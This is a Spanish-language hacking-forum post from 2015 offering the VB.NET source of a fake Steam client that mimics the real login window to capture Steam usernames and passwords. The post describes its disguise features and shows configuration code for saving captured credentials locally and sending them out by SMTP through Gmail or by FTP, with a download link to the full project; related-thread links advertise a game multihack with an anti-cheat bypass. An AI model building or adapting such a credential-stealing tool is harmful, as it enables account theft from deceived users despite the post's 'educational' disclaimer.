comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOURCE] Fake Steam (Steam v2.70.82.9)

  • 0 Respuestas
  • 1120 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Elektro

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: ElektroStudios
« en: Mayo 12, 2015, 11:22:33 am »


Descripción


Esta aplicación es una simple falsificación (fake) del cliente de Steam correspondiente a la versión 2.70.82.9, el desarrollo de esta aplicación ha sido con fines educativos, con el objetivo de demostrar cómo se puede elaborar un engaño de este tipo para simular la ejecución de una aplicación legítima y así obtener datos personales (el usuario y la contraseña de Steam),
queda bajo su responsabilidad el uso que le vaya a dar a este programa.

Por fuera el usuario solo verá una aplicación que consta de 3 Forms con un par de botones y poco más, pero lo cierto es que he invertido bastante esfuerzo para conseguir elaborar una buena "mímica" (o al menos considero que es buena), hay una gran labor detrás ...en el código fuente, y con mucho código rehutilizable que les puede servir para proyectos relacionados.


Características


  • Soporte multi idioma, soportando un total de 22 de los 26 idiomas del cliente original de Steam. Los idiomas no soportados son Koreano, Japonés, Chino tradicional y Chino simplificado
  • Auto-detección de idioma. Por defecto se detectará el idioma del cliente steam instalado en el PC, si el cliente no está instalado se intentará utilizar el idioma del SO, si esto falla también, se utilizará el Inglés.
  • Simulación elaborada de varias características del cliente original de Steam, así cómo de los efectos de iluminación de los controles de la interfáz original.
  • Almacenamiento de usuario/contraseña en archivo local.
  • Envio de usuario/contraseña mediante SMTP.
  • Envio de usuario/contraseña mediante FTP.

En resumen he intentado cuidar todos los detalles posibles, aunque no soy perfecto, claro está.


Imágenes (de la interfáz en inglés)

          



Demostración y comparación de similitud






Configuración


Para configurar el programa hay que compilar el código fuente, dentro del código fuente encontrarán la carpeta/namespace Config que contiene todos los valores configurables del programa:



La configuración del idioma:
Código: vb.net
  1. #Region " Steam Interface Configuration "
  2.  
  3.         ''' <summary>
  4.         ''' The default steam interface language.
  5.         ''' Use this for testing purposses
  6.         ''' </summary>
  7.         Public Shared ReadOnly DefaultSteamLanguage As New CultureInfo("en-US")
  8.  
  9.         ''' <summary>
  10.         ''' If set to <c>True</c>, overrides the default steam interface language instead of detect the proper language.
  11.         ''' Use this for testing purposses
  12.         ''' </summary>
  13.         Public Shared ReadOnly UseDefaultSteamLanguage As Boolean = False
  14.  
  15. #End Region
Nota: Los nombres de las culturas disponibles están especificados en el método DetectLanguage de la Class SteamHelper.


La configuración del nombre de usuario y contraseña:
Código: vb.net
  1. #Region " Username and Password Configuration "
  2.  
  3.         ''' <summary>
  4.         ''' The string format to write/upload/send the captured username/password.
  5.         ''' </summary>
  6.         Public Shared ReadOnly UserPassTextFormat As String =
  7. <a><![CDATA[
  8. Username={0}
  9. Password={1}
  10. ]]></a>.Value
  11.  
  12. #End Region


La configuración de almacenamiento local:
Código: vb.net
  1. #Region " Local Storage Configuration "
  2.  
  3.         ''' <summary>
  4.         ''' If set to <c>True</c>, enables local storage of the username/password.
  5.         ''' </summary>
  6.         Public Shared ReadOnly EnableLocalStorage As Boolean = True
  7.  
  8.         ''' <summary>
  9.         ''' The local directory where to write the file.
  10.         ''' If the directory doesn't exists, it will try to create it.
  11.         ''' </summary>
  12.         Public Shared ReadOnly LocalDir As String =
  13.             Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), " Fake Steam")
  14.  
  15.         ''' <summary>
  16.         ''' The file name to store the data on the local directory.
  17.         ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
  18.         ''' </summary>
  19.         Public Shared ReadOnly LocalFilenameFormat As String =
  20.             String.Format("FakeSteam_{0}_{1}_{2}.txt", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
  21.  
  22.         ''' <summary>
  23.         ''' Sets the local directory attributes, such as system or hidden.
  24.         ''' </summary>
  25.         Public Shared ReadOnly DirAttribs As FileAttributes = FileAttributes.Normal
  26.  
  27.         ''' <summary>
  28.         ''' Sets the local file attributes, such as readonly or hidden.
  29.         ''' </summary>
  30.         '''
  31.         Public Shared ReadOnly FileAttribs As FileAttributes = FileAttributes.Normal
  32.  
  33.         ''' <summary>
  34.         ''' Sets the textfile encoding.
  35.         ''' </summary>
  36.         Public Shared ReadOnly FileEncoding As Encoding = Encoding.Default ' ANSI Encoding.
  37.  
  38. #End Region


La configuración de envío SMTP:
Código: vb.net
  1. #Region " SMTP Sending Configuration"
  2.  
  3.         ''' <summary>
  4.         ''' If set to <c>True</c>, enables STMP sending of the username/password.
  5.         ''' </summary>
  6.         Public Shared ReadOnly EnableSmtp As Boolean = True
  7.  
  8.         ''' <summary>
  9.         ''' The SMTP server.
  10.         ''' </summary>
  11.         Public Shared ReadOnly SmtpServer As New SmtpClient("smtp.gmail.com")
  12.  
  13.         ''' <summary>
  14.         ''' The SMTP server port.
  15.         ''' </summary>
  16.         Public Shared ReadOnly SmtpPort As Integer = 0
  17.  
  18.         ''' <summary>
  19.         ''' The SMTP security.
  20.         ''' </summary>
  21.         Public Shared ReadOnly SmtpSslEnabled As Boolean = True
  22.  
  23.         ''' <summary>
  24.         ''' The mail account address.
  25.         ''' </summary>
  26.         Public Shared ReadOnly MailAddress As New MailAddress("name@serv.com")
  27.  
  28.         ''' <summary>
  29.         ''' The mail account username/password credentials.
  30.         ''' </summary>
  31.         Public Shared ReadOnly MailCredentials As New NetworkCredential("username", "password")
  32.  
  33.         ''' <summary>
  34.         ''' The mail subject.
  35.         ''' By default is "Steam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}"
  36.         ''' </summary>
  37.         Public Shared ReadOnly MailSubject As String =
  38.             String.Format("Steam_{0}_{1}_{2}", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
  39.  
  40. #End Region


La configuración de envío FTP:
Código: vb.net
  1. #Region " FTP Uploading Configuration "
  2.  
  3.         ''' <summary>
  4.         ''' If set to <c>True</c>, enables FTP upload of the username/password.
  5.         ''' </summary>
  6.         Public Shared ReadOnly EnableFtp As Boolean = False
  7.  
  8.         ''' <summary>
  9.         ''' The FTP Server address.
  10.         ''' </summary>
  11.         Public Shared ReadOnly FtpAddress As Uri = New Uri("ftp://127.0.0.1/")
  12.  
  13.         ''' <summary>
  14.         ''' The FTP server port.
  15.         ''' </summary>
  16.         Public Shared ReadOnly FtpPort As Integer = 21
  17.  
  18.         ''' <summary>
  19.         ''' The FTP username/password credentials.
  20.         ''' </summary>
  21.         Public Shared ReadOnly FtpCredentials As New NetworkCredential("username", "password")
  22.  
  23.         ''' <summary>
  24.         ''' The FTP directory where to upload the file.
  25.         ''' The directory path should exist.
  26.         ''' </summary>
  27.         Public Shared ReadOnly FtpDir As String = "Fake Steam/"
  28.  
  29.         ''' <summary>
  30.         ''' The file name to store the data on the FTP directory.
  31.         ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
  32.         ''' </summary>
  33.         Public Shared ReadOnly FtpFilenameFormat As String = UserConfig.LocalFilenameFormat
  34.  
  35.         ''' <summary>
  36.         ''' If set to <c>True</c>, uses Binary mode for the file transfer.
  37.         ''' </summary>
  38.         Public Shared ReadOnly UseBinaryTransfer As Boolean = False
  39.  
  40. #End Region


Descarga


http://www.mediafire.com/download/iocwwp3r3i59mdd/Fake+Steam.rar





IMPOTANTE: Compilar la solución en modo Release, en el modo Release suprimo las excepciones controladas, aparte, el modo Debug tiene un comportamiento distinto y se muestran controles adicionales para testear el la iluminación de los botones:




Saludos!
« Última modificación: Mayo 12, 2015, 11:48:51 am por Elektro »

 

¿Te gustó el post? COMPARTILO!



[SOURCE-CODE] Color.NET - Color Picker

Iniciado por Aincrad

Respuestas: 0
Vistas: 331
Último mensaje Noviembre 15, 2018, 11:23:02 pm
por Aincrad
[SOURCE-CODE] Point Blank MultiHack . Incluye Bypass al X-trap

Iniciado por Aincrad

Respuestas: 0
Vistas: 618
Último mensaje Junio 01, 2018, 09:00:39 pm
por Aincrad
[SOURCE] PATHS (Administrador de la variable de entorno PATH y PATHEXT)

Iniciado por Elektro

Respuestas: 0
Vistas: 993
Último mensaje Mayo 12, 2015, 11:23:35 am
por Elektro
[SOURCE] REG2BAT (Convierte archivos de Registro a scripts Batch)

Iniciado por Elektro

Respuestas: 0
Vistas: 1580
Último mensaje Mayo 12, 2015, 11:28:41 am
por Elektro
[C#] Source de un programa para completar ofertas de offerwalls.

Iniciado por ragaza

Respuestas: 0
Vistas: 656
Último mensaje Mayo 19, 2018, 03:24:39 pm
por ragaza